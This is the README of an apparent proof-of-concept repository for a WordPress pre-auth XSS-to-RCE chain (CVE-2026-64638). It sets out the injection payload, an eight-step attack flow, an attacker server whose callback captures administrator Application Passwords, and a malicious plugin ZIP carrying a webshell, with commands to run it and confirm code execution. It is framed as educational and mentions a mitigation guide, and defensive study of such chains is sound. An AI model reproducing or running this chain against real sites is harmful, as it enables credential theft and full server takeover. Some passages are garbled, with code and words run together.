
PoC funcional de CVE-2026-64638 (XSS2Shell): cadena pre-auth XSS a RCE en WordPress Core. Laboratorio Docker + servidor atacante Python + análisis técnico y mitigación.
Educational Proof of Concept for the XSS2Shell chain (CVE-2026-64638), a pre-authentication XSS → RCE vulnerability in WordPress Core discovered independently by pwn.ai and disclosed on August 7, 2026.
CVE-2026-64638 is a reflected, pre-authentication cross-site scripting (XSS)
vulnerability in the WordPress login screen
(wp-login.php). It affects all supported versions of WordPress
prior to 7.0.3, released on August 6, 2026 as an emergency
security release. It was assigned a CVSS v4.0 of 8.9.
The chain dubbed XSS2Shell demonstrates how, starting solely from a failed login attempt with a manipulated username, an attacker can:
strip_tagswp_kses_postuser-profile.js) to make a REST JSONP request to the same origin.jQuery.globalEval().The result is remote code execution (RCE) on the WordPress server,
under the web process user (typically www-data), starting from a single
click by the administrator on an attacker-controlled link.
This repository contains strictly educational and defensive material.
The PoC comes with a self-contained Docker environment whose sole purpose is to serve as a local and reproducible target.
┌─────────────────────────────────────────────────────────────────────┐
│ 1. XSS pre-auth en wp-login.php │
│ log=< area id=ajaxurl href=/?rest_route=/&_jsonp=...> │
│ (discrepancia strip_tags ↔ wp_kses_post) │
└──────────────────────────────────────────┬──────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 2. user-profile.js dispara .trigger('click') │
│ DOM clobbering de ajaxurl → petición POST al origen │
└──────────────────────────────────────────┬──────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 3. REST JSONP responde application/javascript │
│ jQuery.globalEval() ejecuta el callback en el origen WP │
└──────────────────────────────────────────┬──────────────────────────┘
│ callback = window.opener
│ .approve.click
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 4. SOME: click() cruza la frontera opener→admin │
│ authorize-application.php#approve se pulsa en sesión admin │
└──────────────────────────────────────────┬──────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 5. WP crea Application Password → redirige a success_url │
│ El atacante captura user_login + password en callback.php │
└──────────────────────────────────────────┬──────────────────────────┘
│ HTTP Basic REST
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 6. POST /wp-json/wp/v2/pages → publica página con <script> │
│ El admin visita la página → JS en origen WP con sesión admin │
└──────────────────────────────────────────┬──────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 7. fetch update.php?action=upload-plugin → sube payload.zip │
│ PHP del plugin es accesible directamente sin activarlo │
└──────────────────────────────────────────┬──────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 8. RCE confirmada: GET /wp-content/plugins/payload/shell.php │
└─────────────────────────────────────────────────────────────────────┘
The PoC is built to run on macOS or Linux with:
zip extension (to build the payload manually,
optional; the pre-built ZIP is included in payload/).There is no need to install WordPress manually: the docker-compose.yml
starts a vulnerable WordPress 7.0.2 (the latest version before the patch)
along with MariaDB.
POC XSS2Shell (CVE-2026-64638)/
├── README.md ← Este archivo
├── docker-compose.yml ← Blanco: WordPress 7.0.2 + MariaDB
├── .env.example ← Variables de configuración
├── exploit.py ← Orquestador en Python (opcional)
├── attacker/ ← Infraestructura del atacante
│ ├── index.html ← Página cebo con la cadena SOME
│ ├── callback.php ← Receptor de la Application Password
│ └── server.py ← Servidor estático + PHP embebido
├── payload/ ← Plugin ZIP malicioso
│ ├── build_payload.py ← Generador del ZIP
│ ├── shell.php ← Webshell mínimo
│ └── payload.zip ← ZIP preconstruido (listo para usar)
└── docs/
├── ANALISIS.md ← Análisis técnico detallado
└── MITIGACION.md ← Guía de mitigación y hardening
cp .env.example .env
docker compose up -d
WordPress will be available at http://localhost:8080. Follow the installation
wizard and create an administrator user (for example admin /
admin-password).
The Dockerfile pins the image to
wordpress:7.0.2-php8.2-apache, which is the latest version prior to patch 7.0.3.
# En otro terminal, dentro de attacker/
python3 server.py
The attacker server listens on http://localhost:9000 and exposes:
/ → index.html (the decoy page)./callback.php → receiver of the Application Password.In the terminal where server.py runs, a line like the following will appear:
[+] Application Password recibida para el usuario 'admin':
XXXX XXXX XXXX XXXX XXXX XXXX
The credential is also saved in attacker/captured_credentials.txt.
After a few seconds, the index.html orchestrator will have:
payload.zip plugin to wp-content/plugins/payload/.Verify code execution with:
curl -sI http://localhost:8080/wp-content/plugins/payload/shell.php
A Hacked: true header and a JSON body confirm the RCE.
Once the chain is complete, the following endpoints serve as evidence:
| Recurso | Evidencia esperada |
|---|---|
GET /wp-content/plugins/payload/shell.php | Header Hacked: true + JSON {"rce":true,"user":"www-data"} |
attacker/captured_credentials.txt | Captured Application Password |
wp-admin → Aplicaciones → Contraseñas de aplicación | A new entry named "SomeApp" |
docs/ANALISIS.md — Detailed technical analysis of each
phase of the chain, with references to the WordPress source code.docs/MITIGACION.md — Recommended mitigations,
hardening, and verification of patch 7.0.3.Distributed under the MIT license. See the LICENSE file for more details.